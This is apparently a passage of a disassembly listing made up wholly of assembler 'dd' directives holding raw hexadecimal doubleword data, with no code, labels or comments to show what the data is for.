		dd 0FB27A828h, 0C4032D2Ah, 469C9D00h, 8AD0EFE5h, 0BAF80792h
		dd 0B1C76277h, 0F0F1805Fh, 0D200B347h, 6420BE43h, 3F63F4DAh
		dd 0D7874AC9h, 806518C1h, 0EEB5CD19h, 0EB0AEC00h, 0F872CE7Ch
		dd 3EDFF63Fh, 17DB4BEh,	8CB7EA4Ah, 0FD4C5AD1h, 9117C014h
		dd 84F25201h, 88635429h, 6440DAC5h, 560EC5h, 317E1137h
		dd 8498667Fh, 4676AE06h, 0E0E43Eh, 0D83036A7h, 1A129B33h
		dd 0B7FEF8ECh, 920E7B05h, 0A41E932Eh, 0CC4E4080h, 14893B8Fh
		dd 3851CF6Ch, 43A28731h, 62508EE0h, 206F60C4h, 8560B2h
		dd 8202775Dh, 9B640670h, 79195160h, 413FFC3h, 0C1F753F0h
		dd 63460048h, 18CE7Ah, 0F1AD702Eh, 23EB77B8h, 2AD8ED13h
		dd 2C2411h, 4AFE8E13h, 353DF73h, 95D1BC45h, 4024E2B7h
		dd 48079C72h, 0F4F05A47h, 0D5977Eh, 0AE41ECA6h,	0CA93CE36h
		dd 94B37B12h, 4680041Dh, 4D47E4F0h, 350F0001h, 783929CDh
		dd 0E301E641h, 0D2CCABF7h, 3824B75Ah, 6CCF1EEBh, 724808Ch
		dd 218EF6BAh, 3A08854Dh, 70719C74h, 0C8D89840h,	182DDA5Ah
		dd 4CF30E62h, 0F501F6A8h, 0B513B0D5h, 0ED300A9Ah, 9A200C8h
		dd 0AA27C326h, 0B101E296h, 0B00DCE22h, 0A8800BDDh, 0B2385065h
		dd 0A284DB9h, 3018CCFh,	78F44E90h, 0A9C032C7h, 9EC5004Fh
		dd 0CBFA7101h, 880E91ACh, 0F7265AFh, 0F9407D29h, 0B93B1E77h
		dd 82C20233h, 50B6FFFCh, 0FEB32040h, 0A0C72A00h, 0F1CB4315h
		dd 61B0D2h, 56A27862h, 0DF5F1B24h, 53E90103h, 0F82C1FEBh
		dd 99077Fh, 0BAEAC84Eh,	0DCAAA6E1h, 84021EF2h, 8E8B7DD5h
		dd 47D760FBh, 6F1039BEh, 2C51A60Fh, 0EFE6EEA0h,	9570ADA0h
		dd 7981F000h, 0E92B0F49h, 0ECF4032Ch, 0FF903C72h, 85F54007h
		dd 9D20B303h, 600421h, 0FE1F79CDh, 0CF26A356h, 6E6BB503h
		dd 916ABA03h, 0B820B45Fh, 99F0248Eh, 158F3B98h,	3940A48Dh
		dd 3560016Dh, 0F563C407h, 0BF8C3Eh, 0E2F2D7F9h,	46ED1D8Ah
		dd 2D9E0097h, 57CA66EAh, 4077D800h, 7DB681ECh, 3ED32461h
		dd 1EDE80D8h, 6606966Bh, 0FAB16501h, 10778416h,	800DC343h
		dd 0F5A3DDh, 48EDB9D6h,	11498A82h, 0D974B7E2h, 0D23F6D01h
		dd 0F19AA4A2h, 3EBA60CCh, 5881A835h, 70EAFA01h,	65B7EC40h
		dd 98775303h, 0E928E934h, 0B880BCD3h, 540CBA89h, 790B5B82h
		dd 0FCF6CDA0h, 6A670545h, 7C308015h, 80909A99h,	5A61EF12h
		dd 0F6232900h, 3E5CF893h, 3E3D3BD5h, 0ECBBA4h, 3A3079DEh
		dd 0C575AD9Ch, 0E8FA4900h, 8C9F6BA5h, 39C4980Eh, 5A808025h
		dd 7E452A1Ah, 77309C35h, 878D4086h, 98EC0373h, 9ECB053Ah
		dd 0EEBA800h, 2E02EAF7h, 0B0CC5180h, 0E24C24h, 8E490C35h
		dd 0D537CBA4h, 2E7E0A1Fh, 5BD48C9h, 0E80062Ch, 7E805E8Ch
		dd 9DD012B6h, 34E44C08h, 0D3A10E39h, 3DF830CEh,	2C6B161Ch
		dd 3B85E807h, 9E07F550h, 0E0FF0037h, 0C877554Dh, 741C5BC9h
		dd 0EB804FFBh, 7DC07125h, 2C6CC0EEh, 91E47622h,	8C1D5Ch
		dd 3B93E75Ah, 78CECB7h,	37804164h, 0EF7E3013h, 0F9054B46h
		dd 2FC19A19h, 33AB3080h, 18389823h, 0D8732B91h,	0C900BF12h
		dd 3A50F536h, 2EC6D666h, 8010F0EEh, 77AFFC65h, 2677A1C3h
		dd 184CA530h, 114245h, 6BCF4719h, 0FF1033B6h, 2CABA00h
		dd 14B173C8h, 76A4A08Ch, 0A81900E7h, 0B649F461h, 7B01F92Fh
		dd 0B815A16Ah, 88807EE0h, 0A3A46F3Eh, 0D105AAB4h, 0EAE45B7Fh
		dd 5E507880h, 0EDBA0065h, 0A49AFE55h, 471709DEh, 1812719Ch
		dd 0DA91C821h, 0B08020h, 0DDB5FECEh, 44C87967h,	0BAF24800h
		dd 995BE9Eh, 31CB128Bh,	14F461F0h, 84EE87Dh, 29ACFE50h
		dd 4DF22000h, 9C90641Ah, 58CC985Fh, 983A9312h, 43C4100h
		dd 74B655BBh, 0D6BBD1Ah, 18CC859h, 9CDA3B38h, 4EB34807h
		dd 4DF40D0h, 7674DE83h,	88283307h, 0A530B0BFh, 79E21D6Ah
		dd 2BC50326h, 7D5360D4h, 394F8B90h, 730260EBh, 67FF800h
		dd 0CADB9F62h, 3AEE608h, 16A52C7Ah, 782E97BFh, 0EF42D468h
		dd 61988FE4h, 0FCA2DBADh, 870DD88Eh, 796F741h, 2C42365h
		dd 0E4C04611h, 59A5E094h, 92307CD1h, 75D00378h,	4767B6A6h
		dd 0EF5E4380h, 0C06A5900h, 0C9A0562h, 0C1B00024h, 0FCF6A772h
		dd 840BE24Eh, 80CDA333h, 2B57CC0h, 0AE7631A0h, 0DC2DA6E0h
		dd 3300ADF4h, 9F5B1DBh,	1E1898h, 0FA02B424h, 380A48ACh
		dd 38320D4Ah, 140458Dh,	0FEA86B47h, 0E90CE00Dh,	0AC3F0773h
		dd 0E3DC0B37h, 0DD1CA0CCh, 7DFBE82h, 84128A2h, 38C8D03Fh
		dd 60C00C1Ch, 0CB6A9CBCh, 0CC065D6Eh, 0F678B600h, 0FA7B438Ah
		dd 0E3BF9803h, 0E8826E10h, 2B39587h, 462ED50Dh,	50E2279Ch
		dd 90A7982Bh, 0D0B4644Fh, 7DA77830h, 880EDF74h,	0C0EA867Ah
		dd 8C2A1B46h, 33312CDAh, 8DAF00E4h, 284DADC4h, 0DEF79502h
		dd 64F42E29h, 0C510984h, 0C446A40Fh, 345FB8C0h,	781246Bh
		dd 0EBD714C4h, 49BC12Ch, 0A6E87110h, 9486D838h,	0E12A54h
		dd 2EE1C92Ch, 0B63EB313h, 0DA8A3A0Bh, 3C10B897h, 231F0010h
		dd 0F047C459h, 6926A556h, 810960ACh, 0F494D5h, 0ED244177h
		dd 6FCCA78Ch, 0A6295D00h, 98F07158h, 85C100FCh,	2B8BA392h
		dd 4012D9F3h, 0AC305B19h, 14EC33B5h, 0B0B0478Ah, 71506C24h
		dd 0B03309h, 314B7BB0h,	9E32BAh, 1F7551C7h, 2CEE5594h
		dd 84E7CD0Eh, 803F49ADh, 4AE7E44h, 891F0015h, 316D6ECCh
		dd 0A2026436h, 90B81E53h, 84ACE086h, 0A8F9034Ah, 809A8A5Bh
		dd 7094B299h, 0E00E6FFh, 0B7BED1E7h, 44D8E62h, 0EF1255A6h
		dd 0F6708109h, 79D0A699h, 0EA8A5700h, 1A0708D7h, 0B6FAB8FCh
		dd 0AE8724C0h, 50D81963h, 4826A87Bh, 5AD0033Bh,	3C6A73C4h
		dd 0FD37A998h, 16709A3Fh, 6C0233DCh, 48A69C57h,	182E26E4h
		dd 0B0B8F23Eh, 5B04C032h, 7CFA28Dh, 0F43068C7h,	0C68E16h
		dd 1A1CB8A7h, 38348986h, 826AD500h, 90C1C0FBh, 0B94F3B18h
		dd 3000F7BAh, 0FF20F5B0h, 813274Eh, 541429A9h, 49804D70h
		dd 7E60432Ch, 4DB69F01h
		dd 0A4A1E63Eh, 20A6DECh, 0D221397Fh, 6C510B8Bh,	0B2621203h
		dd 9548B815h, 94AD01D9h, 8F1B02BEh, 1EE03F6Fh, 823F06F7h
		dd 71CE13DAh, 7F01B899h, 67119B6Ch, 180C9875h, 887001E2h
		dd 1FBFFC4Eh, 0C78540A8h, 60A62E8Ch, 451E20EEh,	0C64B867Bh
		dd 36A90068h, 48CBFD26h, 0A0014DFh, 29A76BC8h, 0CE07A2A9h
		dd 1C5A4389h, 0C06862C3h, 9636E3h, 0F7ED7888h, 8C77CA92h
		dd 0A8ECEF30h, 5998ADA8h, 0B752417h, 5C998A74h,	8DD2BC00h
		dd 0ED075DDFh, 0F9B8D3F8h, 0F660B047h, 27253Ah,	0FEC69321h
		dd 0E4F563F3h, 54F97900h, 0E73AD2BEh, 0A0B260FBh, 0DBCA4CDDh
		dd 874F4600h, 0B35A5BFFh, 47E400F4h, 7A6FF018h,	504C0351h
		dd 5E7B0194h, 0B4E613DBh, 0CD00F028h, 0F25CA4CBh, 142787E3h
		dd 1CD800D3h, 0B952766h, 92051291h, 38201089h, 4CE8610Ah
		dd 941B4F02h, 522602A0h, 7F090024h, 0A1C1DCA2h,	0E60373DAh
		dd 9CB1C78Dh, 0C4DF1DFh, 1C525430h, 0BCA5B0FEh,	8097229Dh
		dd 3935B6F3h, 567A54B1h, 7770DC01h, 4D142132h, 24007433h
		dd 0FA848D1Fh, 5B0B7765h, 0A080A50Dh, 0DFE215A8h, 0F8070059h
		dd 359A78BBh, 8201C3EBh, 99443F16h, 0B8EF2790h,	0A06181h
		dd 2113E15Ch, 40BB33E5h, 0ED4EA100h, 0F229FEB1h, 992C00EAh
		dd 0CFD6EC96h, 8CE23D4Dh, 8B874200h, 0D96D077Bh, 0C875025Ah
		dd 0B35EF9FDh, 8D006374h, 0F5E9DD98h, 5A3D0057h, 4314C2A4h
		dd 580035F0h, 5DCD2261h, 7DE9FCB4h, 1BA500C1h, 3580682Eh
		dd 0E6F42651h, 0B4022003h, 0E0D0C999h, 0BC6DCBh, 455C10AEh
		dd 6CEFB697h, 0A3807061h, 99F4592Bh, 7AC30019h,	7D358C05h
		dd 7B00A45Bh, 6FD1883h,	38EBD40h, 80D1D2E2h, 36A0A7DCh
		dd 0FF1D7224h, 0CB9FAB10h, 0E1F0A840h, 0F77009h, 5AE358BEh
		dd 0C89EC1DFh, 0B13F6800h, 2D8FEC51h, 0BB2138BCh, 577CF7h
		dd 0DC05E80Fh, 0DDBA612Ah, 0A700DAF2h, 6946672Ch, 4FCA3Ch
		dd 0F5B4E78Bh, 0A6E2366Fh, 0C540D100h, 5FF97D0Bh, 8CE500B5h
		dd 29EC0CFDh, 0D7FA73C8h, 1F6AC607h, 0B591A9BAh, 8D70A4B1h
		dd 2E79ACh, 50824A0Eh, 53F1B093h, 0F64FF000h, 7D33E983h
		dd 596E3AD6h, 0F5DDE380h, 6FF3A3Dh, 0E4E79A00h,	0FDA7E522h
		dd 669828D0h, 0BAFB03B6h, 4BB8149Eh, 0F47F26D9h, 0CB7A340Bh
		dd 325AB107h, 73D01AC7h, 20339Ch, 87404689h, 94142B2Eh
		dd 41562200h, 1312AA34h, 18D102AFh, 98EF5D73h, 5D47660h
		dd 2C00907Eh, 27076B0h,	47CCDAh, 222F8F1Ch, 9C6B823Ah
		dd 76525D00h, 1FC891CFh, 0A09E000Fh, 0CD536A04h, 0D90051BFh
		dd 94F10A67h, 0E08DC10h, 1A34557h, 0C08D2680h, 2E096D16h
		dd 801A63AEh, 0E51F623Fh, 6BB500AAh, 492D910Eh,	0D43B5165h
		dd 0A63F1F5Dh, 0EB929880h, 0F8D1F36Dh, 39550064h, 0A1C39ADFh
		dd 0DE000352h, 0CFA0FB62h, 21821Eh, 765D0E79h, 0D6EFF640h
		dd 50B14A01h, 0D9B24253h, 0CA693880h, 9FF03715h, 47009375h
		dd 300E3383h, 4EFD13h, 222B8ABh, 0F3A3C929h, 89001D73h
		dd 5DC1CD8Dh, 0E19E680h, 166C7B81h, 0ECCF1C00h,	3600543Eh
		dd 0F084607Dh, 0F3483Ah, 852E5F39h, 9DAF70CDh, 7BABB800h
		dd 0A36B58E6h, 0F5C007D8h, 5F0504A1h, 37EF3980h, 0DB039853h
		dd 0CA2CDDE8h, 6FC7E0FFh, 0C96407AEh, 80D3EC04h, 1DBBE7C4h
		dd 882CE6F4h, 0E80222A0h, 0E01ACE59h, 7B4F82Bh,	0B121F342h
		dd 7009FE6h, 0BE8E35AEh, 1AB2E00h, 24706020h, 0CC60085h
		dd 48FE282Bh, 6807CCF0h, 3DF418BDh, 793AC00Fh, 6A1735h
		dd 306E50FBh, 0C1E13399h, 9B3DF00h, 79908AD9h, 528A414h
		dd 0F4167E42h, 6C26D0ABh, 350F6A5Ah, 4083122Fh,	0AAB3D7F3h
		dd 0E873071Dh, 0B04B8F3Ch, 2AA148F9h, 4ACEB501h, 0BC3170A8h
		dd 0E3F4BF61h, 8A513E98h, 43D68787h, 16AAC728h,	893E4075h
		dd 5941002Eh, 0E098DFE3h, 310A47Eh, 2E3DB312h, 0C7A84F5Bh
		dd 0C9001D38h, 0C4041EFFh, 0AE68F3h, 833073C6h,	62A578C0h
		dd 54DA9E00h, 3A927A8h,	0EA7901B3h, 8074FAAEh, 0BAC7F046h
		dd 0AFDCA001h, 4FE20247h, 24562880h, 0DA7E2FA6h, 9D018DF6h
		dd 0E1577614h, 38EC5070h, 0B9C10A24h, 4098782Ch, 0CFB38DB4h
		dd 0BCDD8400h, 4640E34Eh, 34877789h, 208EFEA7h,	82E953ACh
		dd 71AC4430h, 0F1D7EDEh, 64411056h, 0E02955C7h,	0D40FB85Ch
		dd 66340301h, 9EB040Ah,	0ABBCFCh, 942AE686h, 2E8E0FE4h
		dd 0AD50EF1Dh, 8BC62100h, 0FE37D510h, 2360B19h,	8800E94Ah
		dd 0C9BAC108h, 2D855100h, 8321B79Bh, 0E99700C5h, 7440891Ah
		dd 2403BDC0h, 0D35AAF60h, 0CA810094h, 9B04D545h, 5D3F396Ch
		dd 44B600B3h, 0C466EC08h, 0A3E51CD8h, 0A75E814Ch, 0C8E12DF9h
		dd 0B37BCC5Fh, 0EFAF6700h, 5E16A43Ch, 808A0022h, 29C752D3h
		dd 0F9F2597Ch, 1E153Fh,	7779A491h, 0BBD7D9h, 3EC8E67Ah
		dd 13689489h, 0BA93A000h, 4B149245h, 82FC11h, 3AD7CBC2h
		dd 21CCD82Ah, 25396090h, 0D4F0C144h, 9AEE00AEh,	272C909h
		dd 371417F7h, 82F0305Fh, 0A0D59252h, 0B2940EC4h, 0E5DC3E68h
		dd 45E051E8h, 50F07089h, 0D50066B6h, 0E1294FB7h, 0F8A960F2h
		dd 0EE2700FEh, 6E25D0E5h, 0B4FC8253h, 6DA1B00Fh, 0C43D00D1h
		dd 8E0770h, 8FABCDBh, 591C9A0Ah, 19F99B01h, 0AE3951E1h
		dd 28A8388Fh, 22BA9D80h, 0AB60B636h, 0F05EA998h, 5DD0093h
		dd 7B0E8678h, 0CC00C14Fh, 423AF914h, 0FCE587D7h, 44B1002Fh
		dd 418A2DDAh, 9D095170h, 80B52B5Ch, 0F412682Ch,	204700B8h
		dd 2DB6C83h, 6D00EE7Bh,	0D63C3AA2h, 0EC2C7350h,	0B00E78D2h
		dd 111500B6h, 0BD9A7EADh, 2B504B7Bh, 907FC9Ch, 96FADE29h
		dd 87275980h, 6E160083h, 6CB8EAE6h, 8F39C864h, 8722648h
		dd 0F75EE100h, 0C6653Ch, 5C12BFFAh, 8E42B1E8h, 0A45413B0h
		dd 6F142190h, 1289CB56h, 740216AAh, 83E09ADEh, 0A8A19DD0h
		dd 0F69610ACh, 8212023Ah, 35D1E97Ah, 0D06E1940h, 810121FCh
		dd 0B60B90Ch, 796014A1h, 9E8A0040h, 194DA72Ch, 8B24CF6Ch
		dd 0E4281C63h, 0F8429C00h, 0AA3F12C9h, 0CEA00003h, 91DC05Ah
		dd 0C400B039h, 4AFA77B2h, 4D4F10E5h, 630FEC8Eh,	0E480526Bh
		dd 0CBD6124Bh, 4849C078h, 0F50D0070h, 931F967Ch, 0C84F5054h
		dd 0C65F0769h, 0DC562861h, 0F1003110h, 26F690ACh, 0F4159Ch
		dd 6D453518h, 0FCEB7124h, 0AADBBC06h, 14E45C56h, 0B453FEDCh
		dd 80E8342Bh, 0B513A70Eh, 0FC00BCA4h, 5F4561F7h, 0DF89BDBFh
		dd 7426003Ah, 14B27D43h, 0F0A29728h, 5DAF0600h,	0B005E3F8h
		dd 0C493506Dh, 0F1260098h, 8B94852Fh, 90021D65h, 46B90D59h
		dd 0F8A0A0C1h, 30C8BB41h, 4C1BE25h, 6348A516h, 0ADCF86C8h
		dd 0C79D04F9h, 97DCC577h, 0C9C61408h, 5EEEDCE4h, 0A7321613h
		dd 102E1C01h, 88848F9Dh, 0BE91D0B8h, 5F5CFDC1h,	23A04Ch
		dd 0FF4DCAC5h, 0D5A19C2Dh, 0BD0F607h, 885D7714h, 2770A600h
		dd 0A5CBE2F9h, 41E500B4h, 0BB86504Fh, 347DEE1Fh, 0FA3ABCC0h
		dd 2C92BEFCh, 37C2611h,	41F456Bh, 0C86864EDh, 41C0BCD8h
		dd 45FB4850h, 6D1306D1h, 218CF90Fh, 0BE2E17F4h,	0C6002C36h
		dd 0D6341F7Dh, 319D2B8h, 10F39CECh, 0C58A4E88h,	3C4B4F00h
		dd 9B1382ABh, 4A280017h, 83F93145h, 0CE00E45Eh,	0F52D37C3h
		dd 2439073Ah, 4AD8F264h, 86802520h, 0C73A7362h,	1F38D800h
		dd 8DB0F34Ah, 0FCF40D06h, 0ECC949A3h, 3D141885h, 1ACCC9Ch
		dd 748DDE2Eh, 0E84088D3h
		dd 0AA3EDA4h, 6D05FB0Eh, 711C04FCh, 707441DDh, 11E8965Ch
		dd 16590AA7h, 20D46004h, 43E02582h, 220001F6h, 76F14AF4h
		dd 0D69500D9h, 8DAE33B6h, 0D001D507h, 151EA9B9h, 4C4D3D62h
		dd 0F4308031h, 1E460077h, 409F3AABh, 0B8007022h, 1FE0D351h
		dd 0E01112DCh, 0EFCB020Fh, 95E6C0DDh, 98F80663h, 6D3DF5AEh
		dd 24290051h, 3B41D280h, 5E97182h, 0D4620133h, 29B38057h
		dd 4483A9Dh, 82560018h,	0FDF35DA3h, 0DB5B0093h,	1FE41CA9h
		dd 8C004A84h, 1D865888h, 3BBFAA2h, 5ADBA11Ah, 17F3CDD6h
		dd 0D700217Eh, 0B794A522h, 707C4Eh, 0BA8DB8A7h,	60C9D503h
		dd 0F1667100h, 0B122DA7Ah, 0F08F7A24h, 4B907E7h, 8090D2BFh
		dd 161C8C3Fh, 0DE34F00h, 34841856h, 0B6118DCh, 0C2EB78F6h
		dd 0BBC31318h, 64B1966h, 0FA98E58Ch, 2E002026h,	38FC6C60h
		dd 2FA9D7h, 0E80F63Bh, 4D7C8925h, 0F5B63E00h, 168142C0h
		dd 4E22009Bh, 0AB721A20h, 0F713E592h, 0FEE1864h, 4BA040B8h
		dd 6BD64598h, 8B0A2B00h, 551E6402h, 894C075Fh, 806050ADh
		dd 6BBC8038h, 0BD025A16h, 1805C1Eh, 0C68B746Ah,	0A51E4CCh
		dd 411C7A53h, 0A8B10094h, 18A2E1D9h, 61B880E3h,	7AC76042h
		dd 0C0A01D3h, 3A49691Fh, 0A9E0589Ah, 0B28FF400h, 0B187A11Eh
		dd 4A5F002Eh, 8A7F7DB7h, 1602906Dh, 0F6A88417h,	36F0819Ch
		dd 2210E3FEh, 34013CE7h, 209FF27Ah, 0E1811074h,	4FA2D52h
		dd 7B7FF099h, 0D8CD3130h, 1737E455h, 0F03D54D4h, 0CC00986Dh
		dd 1C955024h, 0AD4544h,	550258F3h, 0C3C0A6A2h, 0DC53F22Ah
		dd 0A3C20800h, 12693927h, 23BF6B9h, 0A2037232h,	0A4986F35h
		dd 561D190Ah, 90F03C8Dh, 6A6CB1h, 34B8E1F3h, 51EAECC0h
		dd 34AE56Bh, 12531BB6h,	2C9A38E0h, 5003070h, 4E6AB926h
		dd 4BC32Ch, 0BEA7B891h,	0A62351F7h, 6218C900h, 37BF260Dh
		dd 5073006Dh, 4B1AE4C3h, 5F0B01B0h, 0AF4146h, 95F508DAh
		dd 194E016Dh, 0F950371Eh, 0B5A440ECh, 6000E17Ah, 80799C25h
		dd 3D94C381h, 8400A136h, 894D97AEh, 4000659h, 0CB734D2h
		dd 0E330BEh, 0BB0758B0h, 8AE6AE14h, 95CBC1C0h, 3BFA50D3h
		dd 76807A92h, 685F66Fh,	0F2986954h, 20106C13h, 118D0807h
		dd 74AB00CBh, 37C6E91h,	18574409h, 0FE811445h, 107C2424h
		dd 0EF92BC0Eh, 411E921Bh, 52E66B07h, 6890FE34h,	0E4924CEBh
		dd 0CE6609ECh, 2C00B345h, 51C59376h, 35E85D0Fh,	9DC78091h
		dd 87855Bh, 532C884Ah, 3B4316AFh, 0AA9A3D07h, 68A0BFF5h
		dd 0F074ADA7h, 1C2A136Fh, 7633009Bh, 0A98E9259h, 5C015377h
		dd 54DF3A6h, 0ACD434A0h, 0C7F000B4h, 2199323Ah,	5E063C80h
		dd 67E66257h, 34953D38h, 0FBD2DC0Bh, 0D8466201h, 1DEAD0DEh
		dd 73CDBE0Eh, 0F20BA00Dh, 347051Ah, 55DD75DBh, 0A2A04087h
		dd 0E900F0D9h, 57F6CA35h, 7547491h, 0DFEB0AB9h,	539C706Fh
		dd 0E00119ECh, 0A1DB60EEh, 0AF00C4Ah, 3260022h,	30643F40h
		dd 0A9005CBBh, 0F28EFE33h, 7EAE32h, 0BA9775CDh,	9C215A70h
		dd 649A1A00h, 4B753D0h,	0CAA61EC1h, 56F03B9h, 8BE07B3Ah
		dd 80007522h, 95DA1678h, 7826A2D9h, 0B8401D71h,	4D584EB2h
		dd 90F56243h, 77925FD8h, 530B5C0Eh, 55BF83CAh, 0C7DF982Bh
		dd 0D7C82C9Bh, 729C032Dh, 65B879F4h, 2C01314Dh,	0A090711Bh
		dd 0EDEC1873h, 0D1F624h, 617D0459h, 0A5FBFC9h, 84163800h
		dd 9AF9C380h, 758E00E2h, 0EC88A587h, 0FB38E033h, 0C269807Ch
		dd 3E58A34Dh, 642E2C6h,	330AE6E2h, 16605856h, 6B57E319h
		dd 0F72201C7h, 79679D2Bh, 0EF44F486h, 0DFD228C7h, 0BE30E00h
		dd 0E5BB00ABh, 7C1A9E8Eh, 0E400B880h, 44B310ACh, 5EFE9F1h
		dd 3E980812h, 8636C094h, 0A305B139h, 54FD8576h,	615E8380h
		dd 496B0088h, 0D0D8126Ch, 0AD076EEDh, 0E61CC96Ah, 0BBA976C3h
		dd 0CE2DC810h, 4A7E011Eh, 888A638h, 7A96CC6Fh, 0FAF3A001h
		dd 0D1E8C25Eh, 1DCEB170h, 833EACh, 45D39416h, 9300A7FFh
		dd 28D1D697h, 0E6206D7h, 0DB7ED30h, 4CAECBA0h, 0E8EAF518h
		dd 14002398h, 0C3607CFFh, 9762355h, 5BA298B2h, 8035D5E1h
		dd 71E6E852h, 0FECF64F5h, 3FDC0143h, 0DEC3A10Bh, 0BE0730AEh
		dd 6E770800h, 679F708Bh, 0E17FF2h, 0ED6197FEh, 9BFAA02Ah
		dd 4E00DB79h, 0AFF705B0h, 12680Fh, 360B593Dh, 9080A5E9h
		dd 0F45A2C00h, 0F09A77C6h, 53540009h, 0D949CE8Fh, 97A076DFh
		dd 0E939402Ah, 21E0012h, 0CDF15D9Fh, 69820034h,	0C3B03DA7h
		dd 0F5E4560Fh, 7A2E6200h, 0D5A02FFFh, 0F3BF00AFh, 0DD6393ABh
		dd 9C003618h, 0CA3BD8Dh, 0E76240Fh, 0F8F4CF5Eh,	725BA400h
		dd 0A600502Fh, 0C30BEDCDh, 19FC227h, 0B66AFD8Dh, 0BC561532h
		dd 57ED01A1h, 868BDC64h, 0F709EEh, 3770F123h, 0C2E30241h
		dd 79D7745h, 507DAB80h,	0AE03B45Eh, 0EC183C0Bh,	9BD1D88Dh
		dd 11C91E63h, 0A096039Ah, 30E7CC39h, 82577945h,	9C9A54Ch
		dd 0F49528F7h, 76D200D4h, 0B0876D55h, 0A88D95A0h, 6BB8F700h
		dd 0D58E5ADAh, 135E0E08h, 41ACE433h, 5F0092B0h,	2F259051h
		dd 4C2762E7h, 4600EABAh, 0B38B6D04h, 0EF00B587h, 0DFF889Eh
		dd 0A63D02D5h, 745E07DCh, 231B7F13h, 4D81C91h, 66003002h
		dd 0A64CCA8h, 0B518A3h,	710CA1CDh, 4A5E5B81h, 0EB2C0209h
		dd 0B8807FB1h, 0C3BDAECCh, 0B4780E00h, 0FB7DC19Bh, 1A703CF9h
		dd 86F3DF80h, 38CC6B1h,	50C002E8h, 8A8F2746h, 7DD20070h
		dd 0D4D3CB6Dh, 0CA006529h, 8CF8EF4Dh, 14B061FEh, 0AC1F36E4h
		dd 16F5F0C0h, 0CE7190CBh, 0A0A11C7Ch, 0E1BCF083h, 3A57F403h
		dd 0B01F7561h, 0AE525Bh, 21CF7024h, 0A699D096h,	0C4865F0h
		dd 2ED700B8h, 4BB98B8Dh, 18E439A8h, 767BCF80h, 959C75A3h
		dd 0B777DC00h, 0DF8CFBF1h, 0FCA60035h, 0E46BB947h, 0EEF062CFh
		dd 0E42EB00h, 0A4D38DF1h, 0AFD4075Eh, 806DF92Bh, 60CE822Dh
		dd 22C9B000h, 0D7FA4866h, 6CA409FFh, 0D007761Dh, 60EA2038h
		dd 2200E7BFh, 74FBBEB5h, 945D5DCh, 71DEA964h, 0F3B75801h
		dd 2CD240EAh, 0FA24756Ah, 68008C79h, 58BC7F97h,	0D8356024h
		dd 0B77510FCh, 0DF3D009Ah, 1DA400EEh, 0ACECB22Bh, 0F0930004h
		dd 222831B7h, 28C00F6Ah, 0E02C6EBh, 782A7F84h, 18360094h
		dd 3E42802Bh, 0BF305B31h, 0FBC8F877h, 0FDBB09Dh, 5BA2068h
		dd 2BCB023Dh, 50601706h, 0B43C7633h, 9309809Eh,	0A16A53B8h
		dd 22EE0144h, 0DEF4762h, 944BC1h, 0A44AC5A3h, 283A31E5h
		dd 39E22B81h, 0F7338426h, 19E009BEh, 20F90690h,	4E02EFD0h
		dd 0B00E6B60h, 0C36068A7h, 315500E6h, 69D00DDCh, 50742B4h
		dd 950419E3h, 0AC621E50h, 63C2DE1h, 4ADD2460h, 187CD803h
		dd 0D3EE254Bh, 0BD7A99F0h, 7080F03Bh, 0C6D69E00h, 464F9123h
		dd 0C850EAEh, 0BB005CECh, 8E90D1DDh, 96FACD1Fh,	947AC340h
		dd 0A28025h, 604D1EEDh,	75F774E2h, 84F85Ch, 0C9218BA1h
		dd 0FC8DCCh, 2FB90853h,	0C47601D3h, 99E3405h, 24200BDEh
		dd 979B4Dh, 0C7050EE2h,	0B56CAD81h, 98FBE100h, 8EA45A08h
		dd 47A601BDh, 551C0D75h, 0E3398181h, 37B927DDh,	9AFCD88Bh
		dd 0C33DCF81h, 0CC4189ABh, 0D4E00D0h, 0F8D278B8h, 0ADCA0356h
		dd 4A418A7h, 0FEFD508Fh, 0D5F4D833h, 0E0F58700h, 0CEB62ACDh
		dd 0C45B01F1h, 0E22899A3h, 44A8F479h, 65C17600h, 17509227h
		dd 373F00B9h, 47F6CCA7h, 1203FBB8h, 0F7A26D03h,	0C2FE00B0h
		dd 43CA6976h, 0F1013B72h
		dd 0D633A660h, 1BDCEEF2h, 0FEF51EE3h, 0C3725DC3h, 5E598FFAh
		dd 0A0D9EBD0h, 38EE8400h, 4954A9F0h, 39B000BFh,	95A7B3B5h
		dd 0C300094Fh, 2F7544B2h, 7B5B1B4Bh, 0B43D0FAAh, 98094EFh
		dd 83DBA55Ah, 78BD5E1Ch, 5482EA80h, 7643F8h, 3330082Ch
		dd 6007B747h, 0EE9A8901h, 3E01C9BBh, 0EF2E9D4h,	20CE723Bh
		dd 0BCFBC4C0h, 673AE6FDh, 9200F317h, 0DE4B5457h, 90631A52h
		dd 1B78C000h, 4E3A3FD6h, 0DB03407Ch, 55C94A8Ah,	0DD2D9852h
		dd 6102012Bh, 87B05BF0h, 8AEBF4FBh, 1F283400h, 5809FC72h
		dd 206B0E7Ah, 3B003575h, 4EB0BDDEh, 0C02D5F00h,	54D505D4h
		dd 0C8B09E4h, 1010D113h, 0BB1EE193h, 0FC8291DEh, 809CFE55h
		dd 5C232B4Ch, 14100F17h, 0C200E27Ch, 3835A986h,	0C8F11800h
		dd 0AB17AA6Eh, 43FE3Eh,	0D091DBBDh, 3830F22Ch, 36B9631Dh
		dd 73B08F43h, 44C1D25Bh, 28FC0164h, 0C07C96A3h,	0C2D02005h
		dd 0AFE7AB00h, 0FC893F9Dh, 0E35F1D9Bh, 293B405Ch, 4BF334F2h
		dd 80F11301h, 0F6CE79Ch, 0A45058B0h, 53018F97h,	0F18DBF05h
		dd 56E401DBh, 9A80A04Fh, 0D1C7242Fh, 48583084h,	3CF23818h
		dd 2500B090h, 0A99A8E3Dh, 0EC5E65C5h, 6A1837F1h, 192D17CEh
		dd 211F8400h, 9B020E2Eh, 795922EDh, 0AD7AC04Ah,	0D2670ED8h
		dd 0EC037B5h, 48E53106h, 35BC5050h, 3A324400h, 0CB6CC2AAh
		dd 0F439488Ch, 1D1E27C1h, 3721048h, 2A670226h, 5B6B02BEh
		dd 58EE9F60h, 8D20E504h, 71C09C74h, 0DFB85Ah, 0EA6A76D5h
		dd 8167D368h, 65BBCE03h, 0E08ED86Eh, 94E7C10h, 35FADE8Ah
		dd 5C331800h, 3700B096h, 4514EF01h, 4FA688h, 320CE13Eh
		dd 8190CF1Ah, 0AC86EA06h, 206AF4h, 0F09C3FD5h, 0B7E6632Dh
		dd 3BA17E07h, 288DDAEh,	6118276Ch, 0E4FD9FC0h, 39B830Ch
		dd 0FEFB5025h, 0F49096h, 8733A243h, 817B6255h, 140C6D00h
